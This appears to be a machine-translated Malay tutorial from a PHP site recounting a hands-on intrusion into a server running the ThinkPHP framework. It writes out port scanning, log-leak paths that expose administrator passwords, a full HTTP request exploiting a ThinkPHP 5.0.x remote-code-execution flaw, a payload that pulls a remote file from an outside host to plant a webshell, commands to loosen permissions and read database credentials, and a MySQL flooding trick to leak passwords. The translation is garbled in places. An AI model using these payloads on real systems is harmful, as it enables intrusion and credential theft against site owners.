Lajur tutorial thinkphp berikut akan berkongsi dengan anda penembusan praktikal rangka kerja ThinkPHP saya harap ia dapat membantu rakan yang memerlukan.
Cari tapak web http://x.x.x.x/ dan mula menembusinya
Mula-mula gunakan nmap untuk mengimbas port yang dibuka kepada pelayan mangsa untuk mengesan port
Anda boleh melihat port terbuka seperti berikut
Port ialah ID pengenalan unik aplikasi dalam komunikasi komputer . Melalui port kami Anda boleh mengetahui perkhidmatan yang dibuka pada pelayan mangsa
Contohnya, 3306 ialah mysql dan mempunyai sambungan luaran yang didayakan Seterusnya, kami akan menyemak akses port untuk melihat perkhidmatan yang dibuka
8080 telah membuka phpmyadmin Kita boleh menggunakan alat sambungan php mysql untuk memecahkan kata laluan mysql
8082 ialah laman utama pinjaman
Masukkan sebarang nombor yang bukan Laluan sedia ada dan kemudian semak maklumat ralat seperti http://x.x.x.x/gfvhf
Laporan ralat yang berjaya: The versi rangka kerja thinkphp ialah 5.1.7 (versi ini mempunyai kelemahan suntikan)
8084 ialah latar belakang yang terus mengumpul
8092 ialah latar belakang, kerana penggunaan tidak diseragamkan, terdapat kebocoran log thinkphp, laluannya ialah http ://x.x.x.x:8092/runtime/log/202112/19.log Anda boleh menyemak akaun dan kata laluan yang telah dilog masuk oleh pentadbir.
Di sini kita bercakap tentang produk hitam menggunakan rangka kerja thinkphp Kerana operasi dan penyelenggaraan adalah separuh hati, kemungkinan besar log thinkphp akan bocor
tp5-6 payload: domain. name/runtime/log/202112/19.log (Log 202112/19.berikut berubah berdasarkan tarikh semasa)
muatan tp3: nama domain/Application/Runtime/Logs/ Home/21_12_19.log (21_12_19.log berikut ialah )
Versi thinkphp yang digunakan oleh port 8083 ialah 5.0.15 versi 5.0.15 adalah kunci rendah dan lembut. kemudian majukan paket data ke modul Repeater burp untuk menangkap kandungan paket Gantikan dengan kandungan berikut
Prinsip kelemahan tidak akan diterangkan secara terperinci Tiada sesiapa dalam lapisan seni bina PHP dapat memahaminya. Penerangan ringkas ialah liputan berubah menyebabkan pelaksanaan kod
Thinkphp5 vulnerability poc boleh merujuk kepada https://y4er.com/post/thinkphp5-rce/Kandungan paket berikut ialah untuk mencetuskan kelemahan dan biarkan pelayan Melaksanakan phpinfo()Pelaksanaan berjaya, anda boleh melihat beberapa maklumat terperinci php
Mula tulis shell di bawah dan gantikan pengepala permintaan dengan:POST /index.php?s=captcha&echod=phpinfo() HTTP/1.1 Host: x.x.x.x Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.57 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Cookie: pmaCookieVer=5; pma_lang=zh_CN; pma_collation_connection=utf8_unicode_ci; phpMyAdmin=iar4j14536rat57j1d5018qjtt8vj69g Content-Type:application/x-www-form-urlencoded Content-Length: 77 _method=__construct&filter=assert&method=get&server[REQUEST_METHOD]=echod
Tetapi saya mengakses t2.php, 404 muncul, meneka bahawa direktori semasa tidak mempunyai kebenaran menulis
, jadi saya cuba memberikan kebenaran menulis:
POST /index.php s=captcha&echod=copy('http://x.x.x.x/2.txt','t2.php') HTTP/1.1
Saya mendapati bahawa shell masih tidak boleh ditulis, dan kebenaran php adalah sangat rendah.
Ganti chmod('./',0777) dengan readfile('../application/database.php') untuk membaca fail konfigurasi pangkalan data. Didapati kata laluan akaun mysql berjaya diperolehi.
POST /index.php?s=captcha&echod=chmod('./',0777) HTTP/1.1
Gunakan perkhidmatan phpmyadmin yang kami temui sebelum ini untuk log masuk dan kemudian buka mysql untuk sambungan luaran
Gunakan alat pengurusan mysql untuk menyambung dan menemui sekumpulan pangkalan data. Dan mysql secara langsung mempunyai keizinan root, dan boleh melakukan peningkatan keistimewaan pada pelayan (penembusan sisi intranet), dsb. Bagaimanapun, rangkaian luaran telah membuka pembukaan, jadi saya tidak akan pergi ke sini secara mendalam.
Untuk meringkaskan beberapa idea yang saya telah fikirkan sendiri: jika thinkphp menghidupkan mod nyahpepijat dan pelayan menghidupkan sambungan luaran pangkalan data, ia boleh menghantar sejumlah besar permintaan dengan meledakkan perkhidmatan mysql (Biarkan mysql blok), apabila thinkphp menyambung ke mysql dan tamat masa, ralat pengecualian sambungan akan dilaporkan, dan kata laluan akaun mysql akan dikeluarkan ke halaman.
Pembelajaran yang disyorkan: "tutorial video thinkphp"
Atas ialah kandungan terperinci Ingat penembusan praktikal rangka kerja ThinkPHP. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!